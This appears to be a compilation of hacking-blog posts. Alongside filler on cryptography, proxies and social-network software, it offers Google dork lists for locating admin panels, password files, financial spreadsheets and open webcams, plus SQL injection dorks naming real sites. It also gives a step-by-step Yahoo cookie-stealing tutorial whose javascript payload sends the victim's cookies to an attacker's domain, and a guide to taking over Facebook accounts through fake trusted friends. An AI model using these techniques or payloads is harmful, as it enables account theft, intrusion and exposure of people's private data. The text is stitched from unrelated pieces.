Google Hacking

Google Hacking

---

---

Google queries for locating various Web servers “Apache/1.3.28 Server at” intitle:index.of Apache 1.3.2 “Apache/2.0 Server at” intitle:index.of Apache 2.0 “Apache/* Server at” intitle:index.of any version of Apache “Microsoft-IIS/4.0 Server at” intitle:index.of Microsoft Internet Information Services 4.0 “Microsoft-IIS/5.0 Server at” intitle:index.ofMicrosoft Internet Information Services 5.0 “Microsoft-IIS/6.0 Server at” intitle:index.of Microsoft Internet Information Services 6.0 “Microsoft-IIS/* Server at” intitle:index.of any version of Microsoft Internet Information Services “Oracle HTTP Server/* Server at” intitle:index.of any version of Oracle HTTP Server “IBM _ HTTP _ Server/* * Server at” intitle:index.of any version of IBM HTTP Server “Netscape/* Server at” intitle:index.of any version of Netscape Server “Red Hat Secure/*” intitle:index.of any version of the Red Hat Secure server “HP Apache-based Web Server/*” intitle:index.of any version of the HP server Queries for discovering standard post-installation intitle:”Test Page for Apache Installation” “You are free” Apache 1.2.6 intitle:”Test Page for Apache Installation” “It worked!” “this Web site!” Apache 1.3.0 – 1.3.9 intitle:”Test Page for Apache Installation” “Seeing this instead” Apache 1.3.11 – 1.3.33, 2.0 intitle:”Test Page for the SSL/TLS-aware Apache Installation” “Hey, it worked!” Apache SSL/TLS intitle:”Test Page for the Apache Web Server on Red Hat Linux” Apache on Red Hat intitle:”Test Page for the Apache Http Server on Fedora Core” Apache on Fedora intitle:”Welcome to Your New Home Page!” Debian Apache on Debian intitle:”Welcome to IIS 4.0!” IIS 4.0 intitle:”Welcome to Windows 2000 Internet Services” IIS 5.0 intitle:”Welcome to Windows XP Server Internet Services” IIS 6.0 Querying for application-generated system reports “Generated by phpSystem” operating system type and version, hardware configuration, logged users, open connections, free memory and disk space, mount points “This summary was generated by wwwstat” web server statistics, system file structure “These statistics were produced by getstats” web server statistics, system file structure “This report was generated by WebLog” web server statistics, system file structure intext:”Tobias Oetiker” “traffic analysis” systemperformance statistics as MRTG charts, network configuration intitle:”Apache::Status” (inurl:server-status | inurl:status.html | inurl:apache.html) server version, operating system type, child process list, current connections intitle:”ASP Stats Generator *.*” “ASP Stats Generator” “2003-2004 weppos” web server activity, lots of visitor information intitle:”Multimon UPS status page” UPS device performance statistics intitle:”statistics of” “advanced web statistics” web server statistics, visitor information intitle:”System Statistics” +”System and Network Information Center” system performance statistics as MRTG charts, hardware configuration, running services intitle:”Usage Statistics for” “Generated by Webalizer” web server statistics, visitor information, system file structure intitle:”Web Server Statistics for ****” web server statistics, visitor information nurl:”/axs/ax-admin.pl” -script web server statistics, visitor information inurl:”/cricket/grapher.cgi” MRTG charts of network interface performance inurl:server-info “Apache Server Information” web server version and configuration, operating system type, system file structure “Output produced by SysWatch *” operating system type and version, logged users, free memory and disk space, mount points, running processes, system logs dork for finding admin page admin1.php admin1.html admin2.php admin2.html yonetim.php yonetim.html yonetici.php yonetici.html admin/account.php admin/account.html admin/index.php admin/index.html admin/login.php admin/login.html admin/home.php admin/controlpanel.html admin/controlpanel.php admin.php admin.html admin/cp.php admin/cp.html cp.php cp.html administrator/ administrator/index.html administrator/index.php administrator/login.html administrator/login.php administrator/account.html administrator/account.php administrator.php administrator.html login.html modelsearch/login.php moderator.php moderator.html moderator/login.php moderator/login.html moderator/admin.php moderator/admin.html account.php account.html controlpanel/ controlpanel.php controlpanel.html admincontrol.php admincontrol.html adminpanel.php adminpanel.html admin1.asp admin2.asp yonetim.asp yonetici.asp admin/account.asp admin/index.asp admin/login.asp admin/home.asp admin/controlpanel.asp admin.asp admin/cp.asp cp.asp administrator/index.asp administrator/login.asp administrator/account.asp administrator.asp login.asp modelsearch/login.asp moderator.asp moderator/login.asp moderator/admin.asp account.asp controlpanel.asp admincontrol.asp adminpanel.asp fileadmin/ fileadmin.php fileadmin.asp fileadmin.html administration/ administration.php administration.html sysadmin.php sysadmin.html phpmyadmin/ myadmin/ sysadmin.asp sysadmin/ ur-admin.asp ur-admin.php ur-admin.html ur-admin/ Server.php Server.html Server.asp Server/ wp-admin/ administr8.php administr8.html administr8/ administr8.asp webadmin/ webadmin.php webadmin.asp webadmin.html administratie/ admins/ admins.php admins.asp admins.html administrivia/ Database_Administration/ WebAdmin/ useradmin/ sysadmins/ admin1/ system-administration/ administrators/ pgadmin/ directadmin/ staradmin/ ServerAdministrator/ SysAdmin/ administer/ LiveUser_Admin/ sys-admin/ typo3/ panel/ cpanel/ cPanel/ cpanel_file/ platz_login/ rcLogin/ blogindex/ formslogin/ autologin/ support_login/ meta_login/ manuallogin/ simpleLogin/ loginflat/ utility_login/ showlogin/ memlogin/ members/ login-redirect/ sub-login/ wp-login/ login1/ dir-login/ login_db/ xlogin/ smblogin/ customer_login/ UserLogin/ login-us/ acct_login/ admin_area/ bigadmin/ project-admins/ phppgadmin/ pureadmin/ sql-admin/ openvpnadmin/ wizmysqladmin/ vadmind/ ezsqliteadmin/ hpwebjetadmin/ newsadmin/ adminpro/ Lotus_Domino_Admin/ bbadmin/ vmailadmin/ ccp14admin/ irc-macadmin/ banneradmin/ sshadmin/ phpldapadmin/ macadmin/ administratoraccounts/ admin4_account/ admin4_colon/ radmind-1/ Super-Admin/ AdminTools/ cmsadmin/ phpSQLiteAdmin/ server_admin_small/ database_administration/ system_administration/

Update Imp. Dorks. Dork : "inurl:dettaglio.php?id=" Exploit :www.victim.com/sito/dettaglio.php?id=[SQL] Example :http://www.cicloposse.com/dettaglio.php?id=61' ---------------------------------------------------------------------------------------------------------------- Dork: inurl:prodotto.php?id) Exploit:  www.victim.com/prodotto.php?id=[SQL] Example:http://www.poderimorini.com/en/prodotto.php?id=14' sql injection dorks  allinurl: \”index php go buy\” allinurl: \”index.php?go=sell\” allinurl: \”index php go linkdir\” allinurl: \”index.php?go=resource_center\” allinurl: \”resource_center.html\” allinurl: \”index.php?go=properties\” allinurl: \”index.php?go=register\” Error message queries “A syntax error has occurred”filetype:ihtml Informix database errors, potentially containing function names, filenames, file structure information, pieces of SQL code and passwords “Access denied for user” “Using password” authorisation errors, potentially containing user names, function names, file structure information and pieces of SQL code “The script whose uid is ” “is not allowed to access” access-related PHP errors, potentially containing filenames, function names and file structure information “ORA-00921: unexpected end of SQL command” Oracle database errors, potentially containing filenames, function names and file structure information “error found handling the request” cocoon filetype:xml Cocoon errors, potentially containing Cocoon version information, filenames, function names and file structure information “Invision Power Board Database Error” Invision Power Board bulletin board errors, potentially containing function names, filenames, file structure information and piece of SQL code “Warning: mysql _ query()” “invalid query” MySQL database errors, potentially containing user names, function names, filenames and file structure information “Error Message : Error loading required libraries.” CGI script errors, potentially containing information about operating system and program versions, user names, filenames and file structure information “#mysql dump” filetype:sql MySQL database errors, potentially containing information about database structure and contents Dork for locating passwords http://*:*@www” site passwords for site, stored as the string “http://username:password@www…” filetype:bak inurl:”htaccess|passwd|shadow|ht users” file backups, potentially containing user names and passwords filetype:mdb inurl:”account|users|admin|admin istrators|passwd|password” mdb files, potentially containing password information intitle:”Index of” pwd.db pwd.db files, potentially containing user names and encrypted passwords inurl:admin inurl:backup intitle:index.of directories whose names contain the words admin and backup “Index of/” “Parent Directory” “WS _ FTP.ini” filetype:ini WS _ FTP PWD WS_FTP configuration files, potentially containing FTP server access passwords ext:pwd inurl:(service|authors|administrators |users) “# -FrontPage-” files containing Microsoft FrontPage passwords filetype:sql (“passwd values ****” | “password values ****” | “pass values ****” ) files containing SQL code and passwords inserted into a database intitle:index.of trillian.ini configuration files for the Trillian IM eggdrop filetype:user user configuration files for the Eggdrop ircbot filetype:conf slapd.conf configuration files for OpenLDAP inurl:”wvdial.conf” intext:”password” configuration files for WV Dial ext:ini eudora.ini configuration files for the Eudora mail client filetype:mdb inurl:users.mdb Microsoft Access files, potentially containing user account information Searching for personal data and confidential documents filetype:xls inurl:”email.xls” email.xls files, potentially containing contact information “phone * * *” “address *” “e-mail” intitle: “curriculum vitae” CVs “not for distribution” confidential documents containing the confidential clause buddylist.blt AIM contacts list intitle:index.of mystuff.xml Trillian IM contacts list filetype:ctt “msn” MSN contacts list filetype:QDF QDF database files for the Quicken financial application intitle:index.of finances.xls finances.xls files, potentially containing information on bank accounts, financial summaries and credit card numbers intitle:”Index Of” -inurl:maillog maillog size maillog files, potentially containing e-mail Network Vulnerability Assessment Report” “Host Vulnerability Summary Report” filetype:pdf “Assessment Report” “This file was generated by Nessus” reports for network security scans, penetration tests etc dork for locating network devices “Copyright (c) Tektronix, Inc.” “printer status” PhaserLink printers inurl:”printer/main.html” intext:”settings” Brother HL printers intitle:”Dell Laser Printer” ews Dell printers with EWS technology intext:centreware inurl:status Xerox Phaser 4500/6250/8200/8400 printers inurl:hp/device/this.LCDispatcher HP printers intitle:liveapplet inurl:LvAppl Canon Webview webcams intitle:”EvoCam” inurl:”webcam.html” Evocam webcams inurl:”ViewerFrame?Mode=” Panasonic Network Camera webcams (intext:”MOBOTIX M1″ | intext:”MOBOTIX M10″) intext:”Open Menu” Shift-Reload Mobotix webcams inurl:indexFrame.shtml Axis Axis webcams intitle:”my webcamXP server!” inurl:”:8080″ webcams accessible via WebcamXP Server allintitle:Brains, Corp. camera webcams accessible via mmEye intitle:”active webcam page”

To Create Your Own Social Network Website

To Create Your Own Social Network Website

JCOW: Top 10 reasons to choose Jcow 1 Handle more traffic - Clean codes and Dynamic caching can lower the CPU load and  speed up your website. 2 Make your site more interactive - Well designed Jcow applications help you members to connect and communicate with others more effectively. 3 Add questions to the Registration Form - You can add new member fields, which will be displayed to the registration form, profile form, and the member browsing form. 4 Easily share stuff - Within the AJAX sharing Box, your members can publish status,  photos, videos, and blogs. 5 Customize and Extend your Jcow Network - A Jcow network consists of core apps(like "Friends" and "Messages") and optional apps(like "Blogs" and ""Videos"). You can enable/disable optional apps. You can also develop your own apps. 6 Every profile could be Unique - Members can customize their own profile theme and  add music player to the page. 7 Members know what's happening to them - Profile was commented, photo was  commented, forum post was replied, comment was replied,... The "Notifications"  tell everything to the member. 8 The power of "Following" - The Twitter's success tells us that people like to know the  updates from those they are interested in. 9 Give permissions the way you want - Jcow permissions depend on "Member Roles".  You can edit roles and give a member multiple roles. This logic enables you to members  more easily. 10 Make money from your Network - With the Ads management, you can easily insert ads  codes like Google Adsense. You can also let Jcow hide the ad to specified member roles.  Latest version: 5.2.1 Download | Demo Admin Panel Demo Please download Free version and install to your own server. For More Information  www.jcow.net

NING: Create Super Fans Build a following Integrate with Facebook, Twitter and YouTube to create a social hub. Empower the community to build out your fan base. Inspire connections between shows Create a social space for fans to talk, share and build excitement even when you aren’t there. Distribute content with complete control Own your brand and push out your content with branded media players. Foster deep relationships with fans Collect email addresses and create member profiles to connect with your fans. Product Features     * Forums, blog and photos to generate excitement     * Custom, brandable video and music player     * Advertising and revenue generating solutions     * Seamless integration with Facebook, Twitter and YouTube     * Design freedom to create a premium brand experience For more Information  www.ning.com

Exploits

Exploits

---

A tool developed by hackers that is used to perform malicious attacks on computer systems. They are usually scripts that are designed to exploit weaknessness in software over a network, most commonly the Internet. Zero-Day is a common type of exploit.

Zero-Day Exploits
Called either Day Zero or Zero-Day, it is an exploit that takes advantage of a security vulnerability on the same day that the vulnerability becomes publicly or generally known. Zero-Day exploits are usually posted by well-known hacker groups. Software companies may issue a security bulletin or advisory when the exploit becomes known, but companies may not be able to offer a patch to fix the vulnerability for some time after. 

An exploit (from the same word in the French language, meaning "achievement", or "accomplishment") is a piece of software, a chunk of data, or sequence of commands that takes advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerised). This frequently includes such things as gaining control of a computer system or allowing privilege escalation or a denial of service attack.

There are several methods of classifying exploits. The most common is by how the exploit contacts the vulnerable software. A 'remote exploit' works over a network and exploits the security vulnerability without any prior access to the vulnerable system. A 'local exploit' requires prior access to the vulnerable system and usually increases the privileges of the person running the exploit past those granted by the system administrator. Exploits against client applications also exist, usually consisting of modified servers that send an exploit if accessed with client application. Exploits against client applications may also require some interaction with the user and thus may be used in combination with social engineering method. This is the hacker way of getting into computers and websites for stealing data.

In computing, an exploit is an attack on a computer system, especially one that takes advantage of a particular vulnerability that the system offers to intruders. Used as a verb, the term refers to the act of successfully making such an attack.

In Exploit another classification is by the action against vulnerable system: unauthorized data access, arbitrary code execution, denial of service.

Many crackers (or hackers, if you prefer that term) take pride in keeping tabs of such exploits and post their exploits (and discovered vulnerabilities) on a Web site to share with others.

Where an exploit takes advantage of a weakness in an operating system or vended application program, the owners of the system or application issue a "fix" or patch in response. Users of the system or application are responsible for obtaining the patch, which can usually be downloaded from the Web. Failure to install a patch for a given problem exposes the user to a security breach. (However, it can be difficult to keep up with all the required patches.)

Many exploits are designed to provide superuser-level access to a computer system. However, it is also possible to use several exploits, first to gain low-level access, then to escalate privileges repeatedly until one reaches root.

Normally a single exploit can only take advantage of a specific software vulnerability. Often, when an exploit is published, the vulnerability is fixed through a patch and the exploit becomes obsolete for newer versions of the software. This is the reason why some blackhat hackers do not publish their exploits but keep them private to themselves or other crackers. Such exploits are referred to as 'zero day exploits' and to obtain access to such exploits is the primary desire of unskilled attackers, often nicknamed script kiddies.

Script Kiddie
A person, normally someone who is not technologically sophisticated, who randomly seeks out a specific weakness over the Internet in order to gain root access to a system without really understanding what it is s/he is exploiting because the weakness was discovered by someone else. A script kiddie is not looking to target specific information or a specific company but rather uses knowledge of a vulnerability to scan the entire Internet for a victim that possesses that vulnerability. 
The vast majority of the "hacker" underground is made up of people who have only been using computers for a few years and who really know comparatively little about them. These are people, usually kids, who are attracted by the seemingly magical powers that hacking gives them. Since they know so little about computers, they don't really known how to hack themselves but instead follow recipes or "scripts" developed by real hackers. Most of these scripts are easy-to-use programs whereby the "script-kiddy" simply enters the IP address of the victim.
One of the distinguishing features of script-kiddies is that they must have a lot of patience. Because security holes are quickly found and repaired, most systems will resist most attacks. Therefore, if the script-kiddy is targeting a single system, they have to find a lot of scripts to try against the system before they find one that works. More commonly, the script-kiddies downloads one of the most recently developed scripts and proceeds to run it against targets all throughout the Internet until they find someone who is vulnerable to that specific script.
You can get update exploits from www.1337day.com

Cookie Hijacking

Cookie Hijacking:

Email Hacking

U Can Hack Yahoo Account by Cookies Stealing or Hijacking From Browser.
Follow Steps and Learn it.
This is very Simple Tutorial and 100% Tested..!!..

Step 1: Download the Script on given link
http://www.multiupload.com/9Q3EPTOO47

Step:2 Download and extract files into your hard drive.
Step:3 Create a account in any ftp hosting site i suggestedwww.t35.com
Step4: Login to your account and upload 4 files into your ftp account.

Step5: Give this  code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'

javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie)); 

He would again redirected to his yahoo account.

Step6. Open the hacked.php . The password is 'hoc'.

Cryptography

Cryptography .. part-2

---

By definition cryptography is the process of converting recognizable data into an encrypted code for transmitting it over a network (either trusted or untrusted). Data is encrypted at the source, i.e. sender's end and decrypted at the destination, i.e. receiver's end.

In all cases, the initial unencrypted data is referred to as plain text. It is encrypted into cipher text, which will in turn (usually) be decrypted into usable plaintext using different encryption algorithms.

                                                                               Plaintext =>Ciphertext=> Plaintext=>Encryption=> Decryption

The Purpose :-
* Authentication : The process of proving one's identity.
* Privacy/confidentiality : Ensuring that no one can read the message except the intended receiver.
* Integrity : Assuring the receiver that the received message has not been altered in any way from the original.
* Non-repudiation : A mechanism to prove that the sender really sent this message.

In general cryptographic algorithms are classified into three categories as follows :

1) Secret Key Cryptography (SKC) : Uses a single key for both encryption and decryption.
2) Public Key Cryptography (PKC) : Uses one key for encryption and another for decryption.
3) Hash Functions : Uses a mathematical transformation to irreversibly "encrypt" information.

Secret Key Cryptography :- 
With secret key cryptography, a single key is used for both encryption and decryption. Because a single key is used for both functions, secret key cryptography is also called symmetric encryption.

Secret key cryptography algorithms that are in use today include :

1) Data Encryption Standard (DES) : DES is a block-cipher employing a 56-bit key that operates on 64-bit blocks. DES uses a key of only 56 bits, and thus it is now susceptible to "brute force" attacks.
Triple-DES (3DES) and DESX are the two important variants that strengthen DES.

2) Advanced Encryption Standard (AES ) : The algorithm can use a variable block length and key length; the latest specification allowed any combination of keys lengths of 128, 192, or 256 bits and blocks of length 128, 192, or 256 bits.

3 ) International Data Encryption Algorithm (IDEA) : Secret-key cryptosystem written by Xuejia Lai and James Massey, in 1992 and patented by Ascom; a 64-bit SKC block cipher using a 128-bit key. Also available internationally.

4) Rivest Ciphers : Named for Ron Rivest, a series of SKC algorithms.

RC1 : Designed on paper but never implemented.
RC2 : A 64-bit block cipher using variable-sized keys designed to replace DES. It's code has not been made public although many companies have licensed RC2 for use in their products. Described in RFC 2268.
RC3 : Found to be breakable during development.
RC4 : A stream cipher using variable-sized keys; it is widely used in commercial cryptography products, although it can only be exported using keys that are 40 bits or less in length.
RC5 : A block-cipher supporting a variety of block sizes, key sizes, and number of encryption passes over the data. Described in RFC 2040.
RC6 : An improvement over RC5, RC6 was one of the AES Round 2 algorithms.

5) Blowfish : A symmetric 64-bit block cipher invented by Bruce Schneier; optimized for 32-bit processors with large data caches, it is significantly faster than DES on a Pentium/PowerPC-class machine. Key lengths can vary from 32 to 448 bits in length. Blowfish, available freely and intended as a substitute for DES or IDEA, is in use in over 80 products.

Public-Key Cryptography :- 
Generic PKC employs two keys that are mathematically related although knowledge of one key does not allow someone to easily determine the other key. One key is used to encrypt the plaintext and the other key is used to decrypt the ciphertext. No matter which key is applied first, but both the keys are required for the process to work. Because a pair of keys are required, this approach is also called asymmetric cryptography.
In PKC, one of the keys is designated the public key and may be advertised as widely as the owner wants. The other key is designated the private key and is never revealed to another party.

Public-key cryptography algorithms that are in use today for key exchange or digital signatures include :

1) RSA : One of the most popular encryption algorithm, invented in 1977 by three MIT scientists (Ronald Rivest, Adi Shamir, and Leonard Adleman)
The key-pair is derived from a very large number, n, that is the product of two prime numbers chosen according to special rules; these primes may be 100 or more digits in length each, yielding an n with roughly twice as many digits as the prime factors. The public key information includes n and a derivative of one of the factors of n; an attacker cannot determine the prime factors of n (and, therefore, the private key) from this information alone and that is what makes the RSA algorithm so secure.

Hash Functions :- Hash functions, also called message digests and one-way encryption, are algorithms that, in some sense, use no key. Instead, a fixed-length hash value is computed based upon the plaintext that makes it impossible for either the contents or length of the plaintext to be recovered. Hash algorithms are typically used to provide a digital fingerprint of a file's contents, often used to ensure that the file has not been altered by an intruder or virus. Hash functions are also commonly employed by many operating systems to encrypt passwords. Hash functions, then, provide a measure of the integrity of a file.
Hash algorithms that are in common use today include:
1) Message Digest (MD) algorithms : A series of byte-oriented algorithms that produce a 128-bit hash value from an arbitrary-length message.
MD2 : Designed for systems with limited memory, such as smart cards.
MD4 : Developed by Rivest, similar to MD2 but designed specifically for fast processing in software.
MD5 : Also developed by Rivest in 1991 after potential weaknesses were reported in MD4; this scheme is similar to MD4 but is slower because more manipulation is made to the original data.It accepts variable length message from the user and converts it into a fixed 128-bit message digest value.
One interesting and important aspect of the MD5 hash function is that it is a one way algorithm. This means you can produce the 128-bit fingerprint if the data chunk is available to you. You cannot, however, generate the entire data if only the fingerprint of the data is known.

2) Secure Hash Algorithm (SHA) : Algorithm for NIST's Secure Hash Standard (SHS). SHA-1 produces a 160-bit hash value and was originally published as FIPS 180-1 and RFC 3174. FIPS 180-2 describes five algorithms in the SHS: SHA-1 plus SHA-224, SHA-256, SHA-384, and SHA-512 which can produce hash values that are 224, 256, 384, or 512 bits in length, respectively. SHA-224, -256, -384, and -52 are also described in RFC 4634.

3) RIPEMD : A series of message digests that initially came from the RIPE (RACE Integrity Primitives Evaluation) project. RIPEMD-160 was designed by Hans Dobbertin, Antoon Bosselaers, and Bart Preneel, and optimized for 32-bit processors to replace the then-current 128-bit hash functions. Other versions include RIPEMD-256, RIPEMD-320, and RIPEMD-128.

4) HAVAL (HAsh of VAriable Length) : Designed by Y. Zheng, J. Pieprzyk and J. Seberry, a hash algorithm with many levels of security. HAVAL can create hash values that are 128, 160, 192, 224, or 256 bits in length.

5) Whirlpool : A relatively new hash function, designed by V. Rijmen and P.S.L.M. Barreto. Whirlpool operates on messages less than 2256 bits in length, and produces a message digest of 512 bits. The design of this hash function is very different than that of MD5 and SHA-1, making it immune to the same attacks as on those hashes.

6) Tiger : Designed by Ross Anderson and Eli Biham, Tiger is designed to be secure, run efficiently on 64-bit processors, and easily replace MD4, MD5, SHA and SHA-1 in other applications. Tiger/192 produces a 192-bit output and is compatible with 64-bit architectures; Tiger/128 and Tiger/160 produce the first 128 and 160 bits, respectively, to provide compatibility with the other hash functions.

Proxy Server

Proxy Server :::::::

>>Proxy servers:- Its allow for you to configure your browser to route your browser traffic through that machine, which then makes a request for a page on your behalf, and then sends you the results. These are usually used at no cost to the user. Since they are accessible to the public these are often quite slow. Please see instructions for using a proxy server. There are a variety of types of these proxy servers: * Transparent Proxy - This type of proxy server identifies itself as a proxy server and also makes the original IP address available through the http headers. These are generally used for their ability to cache websites and do not effectively provide any anonymity to those who use them. However, the use of a transparent proxy will get you around simple IP bans. They are transparent in the terms that your IP address is exposed, not transparent in the terms that you do not know that you are using it (your system is not specifically configured to use it.) This type of proxy server does not hide your IP address. * Anonymous Proxy - This type of proxy server identifies itself as a proxy server, but does not make the original IP address available. This type of proxy server is detectable, but provides reasonable anonymity for most users. This type of proxy server will hide your IP address. * Distorting Proxy - This type of proxy server identifies itself as a proxy server, but make an incorrect original IP address available through the http headers. This type of proxy server will hide your IP address. * High Anonymity Proxy - This type of proxy server does not identify itself as a proxy server and does not make available the original IP address. This type of proxy server will hide your IP address. >>Proxy browser:- A proxy server acts as a security barrier between your internal network and the Internet, keeping others on the Internet from being able to obtain access to information that is located on your internal network.........and your browser is become like invible........its hide your ip. like you use china country proxy den open google.com now google will open in china language form............!~ How to change proxy settings in Browsers @ Mozilla Firefox 1. Open Mozilla Firefox. 2. Click on Tools then click on Options…. 3. Click on the Advance tab, then click on the Network sub-tab and finally on the Settings… button. 4. Tick the Manual Proxy Configuration: radio button. 5. In the HTTP Proxy: box, type the IP address of the proxy server. 6. In the Port: box, type the in the port number that is used by the proxy server. 7. Click OK to close the Connection Settings window. 8. Click OK to close the Options window. 9. DONE @ Internet Explorer 1. On the Tools menu in Internet Explorer, click Internet Options, click the Connections tab, and then click LAN Settings. 2. Under Proxy server, click to select the Use a proxy server for your LAN check box. 3. In the Address box, type the IP address of the proxy server. 4. In the Port box, type the port number that is used by the proxy server for client connections (by default, 8080). 5. You can click to select the Bypass proxy server for local addresses check box if you do not want the proxy server computer to be used when you connect to a computer on the local network (this may speed up performance). 6. Click OK to close the LAN Settings dialog box. 7. Click OK again to close the Internet Options dialog box.   @ proxy settings In Google Chrome. * To change proxy settings: Click "Customize and control Google Chrome" icon right under the "window close" button. * A popup menu will be dipslayed. Click "Options". * Select the "Under the Hood" tab. * Scroll down and Click "change proxy settings" button. * A popup dialog will be display. Select the Connections tab on this dialg. * If you are using LAN, click "LAN Settings" button. If you are using Dial-up or Virtual Private Network connection, select necessary connection and click "Settings" button. * Make sure the "automatically detect proxy settings" and "use a proxy automatic configuration script" options are not checked. * In the "Proxy Server" area, click the check box next to Use a proxy server for this connection. * If nessesary, enable "bypass proxy server for local addresses". * Click the "Advanced" button and set Proxy Server address (proxy IP), proxy server port. * Click OK. *done @ proxy settings in Safari. * To change proxy settings: Open Safari * Click Safari on top of the screen. * Click "Preferences". * In the menu bar at the top of the window, Click "Advanced". * Click on the "Change Settings" button next to the Proxies label * Click on the check box button next to Web Proxy (HTTP) * Enter proxy server and port information * Select "Apply Now" to save settings. * Done.

Anti-Spam SMTP Proxy Server The Anti-Spam SMTP Proxy (ASSP) Server project aims to create an open source platform-independent SMTP Proxy server which implements auto-whitelists, self learning Bayesian, Greylisting, DNSBL, DNSWL, URIBL, SPF, SRS, Backscatter, Virus scanning, attachment blocking, Senderbase and multiple other filter methods. Click 'Browse all files' to download the professional version 2.2.1 build 12221. Multiple Weighted DNSBLs Multiple Weighted URIBLs Greylisting Weighted Regular Expression Filtering Bayesian Penalty Box SenderBase SSL/TLS SPF/SRS Attachment Blocking ClamAV and FileScan Blocking Reporting LDAP support Backscatter Detection Download                                                        WEB PROXY SITES: www.meebo.com/ www.iloveim.com/ www.the-cloak.com/    www.cantblock.me www.mb35.info www.cloaking.me www.proxybrowsing.com www.behidden.com www.yourfreedom.net www.hujiko.com www.anonymizer.ru www.schoolproxylists.cn/ www.xysurfing.com/ www.googlefaker.com/ www.internetoxy.com/ Facebook Proxy If Facebook are block in your offices, college and home then don't worry Click at below link and access your FB Account. EnjoY..!! http://www.f1.proxymice.com/ http://www.f2.proxymice.com/ http://www.f3.proxymice.com/

Hack Facebook Account

Hack Facebook Account :::

Hence we know that there are many techniques for Hack Facebook Account like Phishing Attacks, Keylogging and other Social techniques but today we are going to see how to hack passwords using new feature introduced by Facebook the 3 Trusted Friends Password Recovery Feature in this what happens if you have lost your password and you don’t have any access to your default email address than this feature will handy by sending request to your 3 trusted friends and hence gaining your account password again.
For this technique you need to create 3 fake Facebook account and you need to surely add these as friends into your victims account whose account you are going to hack.

After success full addition of your fake accounts into victims account as friends follow the below steps .:

1. Go to Facebook and click Forgot your Password ?

2. Than you will get something like below just enter the details you know about him enter his Username, email address and full name.

3. After entering everything check it again and click on search.

4. After succeful search for the user Facebook will show some information about how many emails are linked to the account and there is simple option saying 
No Longer Access to These click that one.

5. Now it will promote you to enter a new email address on which you will get the password resetting option so enter your email address I suggest you creating a Fake or Temporary email address for safety purpose.

6. Than it will promote you to enter the Security well if you have some security guess about that one than that’s ok but if you don’t know it than simply enter 3 wrong answers and it will take you to the 3 trusted friends recovery page like below.

7. Now just click continue and facebook will ask you to choose 3 trusted friends choose the 3 fake profiles of your which you created and added into the victims account. 
8. After selecting 3 accounts facebook will send security codes to these accounts just enter these codes and you will get Password Resetting email from Facebook on the account you created in Step 5

That’s it now you are successful in Hacking Facebook Password with the 3 Trusted Friends Method.

Note: This trick only works if 3 trusted friends agree to give you the security code so its really important that you add your 3 fake accounts into your victims facebook account as a friend.